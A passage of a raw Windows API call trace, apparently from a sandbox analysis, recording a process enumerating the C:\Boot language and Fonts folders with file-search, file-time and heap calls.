[0254.370] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.370] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.370] GetLastError () returned 0x12 [0254.370] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.370] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.370] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.370] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.370] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.370] GetLastError () returned 0x12 [0254.370] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.370] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.370] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.370] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.370] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0254.370] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.370] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.371] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.371] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.371] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.372] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.372] NtClose (Handle=0x14c) returned 0x0 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.372] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.372] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.372] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x944220 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f940 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.372] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x944240 [0254.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f9c8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x944260 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8fa50 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x944280 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8fad8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x9442a0 [0254.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8fb60 [0254.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.373] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0254.373] GetLastError () returned 0x12 [0254.373] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.374] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0254.374] GetLastError () returned 0x12 [0254.374] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.374] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.374] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.374] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.374] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0254.374] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.374] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.375] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.375] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.375] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.375] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.376] NtClose (Handle=0x188) returned 0x0 [0254.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.376] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.376] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.376] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x9442c0 [0254.376] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8fbe8 [0254.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.376] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.376] GetLastError () returned 0x12 [0254.376] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.376] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.376] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.377] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.377] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.377] GetLastError () returned 0x12 [0254.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.377] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.377] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, 